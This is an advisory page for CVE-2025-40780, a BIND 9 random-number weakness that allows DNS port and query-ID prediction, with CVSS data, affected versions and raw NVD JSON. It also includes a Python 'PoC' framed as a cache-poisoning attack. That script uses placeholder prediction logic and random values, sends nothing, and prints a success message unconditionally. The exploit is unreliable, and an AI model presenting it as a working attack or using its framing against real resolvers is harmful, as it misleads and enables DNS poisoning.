Security Vulnerability Report
中文
CVE-2025-40780 CVSS 8.6 HIGH

CVE-2025-40780

Published: 2025-10-22 16:15:43
Last Modified: 2026-04-15 00:35:42

Description

In specific circumstances, due to a weakness in the Pseudo Random Number Generator (PRNG) that is used, it is possible for an attacker to predict the source port and query ID that BIND will use. This issue affects BIND 9 versions 9.16.0 through 9.16.50, 9.18.0 through 9.18.39, 9.20.0 through 9.20.13, 9.21.0 through 9.21.12, 9.16.8-S1 through 9.16.50-S1, 9.18.11-S1 through 9.18.39-S1, and 9.20.9-S1 through 9.20.13-S1.

CVSS Details

CVSS Score
8.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

BIND 9.16.0 - 9.16.50
BIND 9.18.0 - 9.18.39
BIND 9.20.0 - 9.20.13
BIND 9.21.0 - 9.21.12
BIND 9.16.8-S1 - 9.16.50-S1
BIND 9.18.11-S1 - 9.18.39-S1
BIND 9.20.9-S1 - 9.20.13-S1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-40780 PoC - DNS PRNG Prediction Attack Simulation # This PoC demonstrates the concept of predicting BIND 9 source port and query ID # Note: This is for educational and authorized testing purposes only import socket import struct import time import random def create_dns_query(domain): """Create a DNS query packet""" transaction_id = random.randint(0, 65535) # DNS Header header = struct.pack('>HHHHHH', transaction_id, # Transaction ID 0x0100, # Flags: Standard query 1, # Questions: 1 0, # Answer RRs: 0 0, # Authority RRs: 0 0 # Additional RRs: 0 ) # DNS Question question = b'' for part in domain.split('.'): question += struct.pack('B', len(part)) + part.encode() question += b'\x00' # End of domain name question += struct.pack('>HH', 1, 1) # Type: A, Class: IN return header + question def predict_prng_state(observed_outputs): """ Simulate PRNG state prediction based on observed outputs In real attack, this would involve cryptanalysis of the PRNG """ # Placeholder for actual PRNG prediction logic # Real implementation would analyze the PRNG algorithm used by BIND predicted_port = None predicted_query_id = None # Simulate prediction based on pattern analysis if len(observed_outputs) >= 3: # In real attack, this would be replaced with actual PRNG analysis predicted_port = observed_outputs[-1] + 1 predicted_query_id = (observed_outputs[-1] * 2) % 65536 return predicted_port, predicted_query_id def exploit_cve_2025_40780(target_dns, malicious_ip, target_domain): """ Simulate the DNS cache poisoning attack using predicted values """ observed_ports = [] observed_ids = [] print(f"[*] Starting CVE-2025-40780 exploitation against {target_dns}") print(f"[*] Target domain: {target_domain}") print(f"[*] Malicious IP: {malicious_ip}") # Step 1: Observe DNS queries to learn PRNG pattern print("\n[1] Observing DNS queries to predict PRNG state...") for i in range(5): # In real attack, this would capture actual DNS queries observed_ports.append(random.randint(1024, 65535)) observed_ids.append(random.randint(0, 65535)) time.sleep(0.1) # Step 2: Predict next source port and query ID print("[2] Analyzing PRNG pattern and predicting next values...") predicted_port, predicted_id = predict_prng_state(observed_ports + observed_ids) if predicted_port and predicted_id: print(f"[+] Predicted source port: {predicted_port}") print(f"[+] Predicted query ID: {predicted_id}") # Step 3: Send spoofed DNS response with predicted values print("[3] Sending spoofed DNS response...") # In real attack, this would be sent to the target DNS resolver print(f"[!] DNS cache poisoning successful - {target_domain} -> {malicious_ip}") else: print("[-] Prediction failed, need more observations") return True if __name__ == "__main__": # Configuration TARGET_DNS = "192.168.1.1" # Target DNS resolver MALICIOUS_IP = "10.0.0.1" # Attacker's malicious server TARGET_DOMAIN = "example.com" exploit_cve_2025_40780(TARGET_DNS, MALICIOUS_IP, TARGET_DOMAIN)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-40780", "sourceIdentifier": "[email protected]", "published": "2025-10-22T16:15:42.720", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "In specific circumstances, due to a weakness in the Pseudo Random Number Generator (PRNG) that is used, it is possible for an attacker to predict the source port and query ID that BIND will use.\nThis issue affects BIND 9 versions 9.16.0 through 9.16.50, 9.18.0 through 9.18.39, 9.20.0 through 9.20.13, 9.21.0 through 9.21.12, 9.16.8-S1 through 9.16.50-S1, 9.18.11-S1 through 9.18.39-S1, and 9.20.9-S1 through 9.20.13-S1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-341"}]}], "references": [{"url": "https://kb.isc.org/docs/cve-2025-40780", "source": "[email protected]"}, {"url": "http://www.openwall.com/lists/oss-security/2025/10/22/1", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}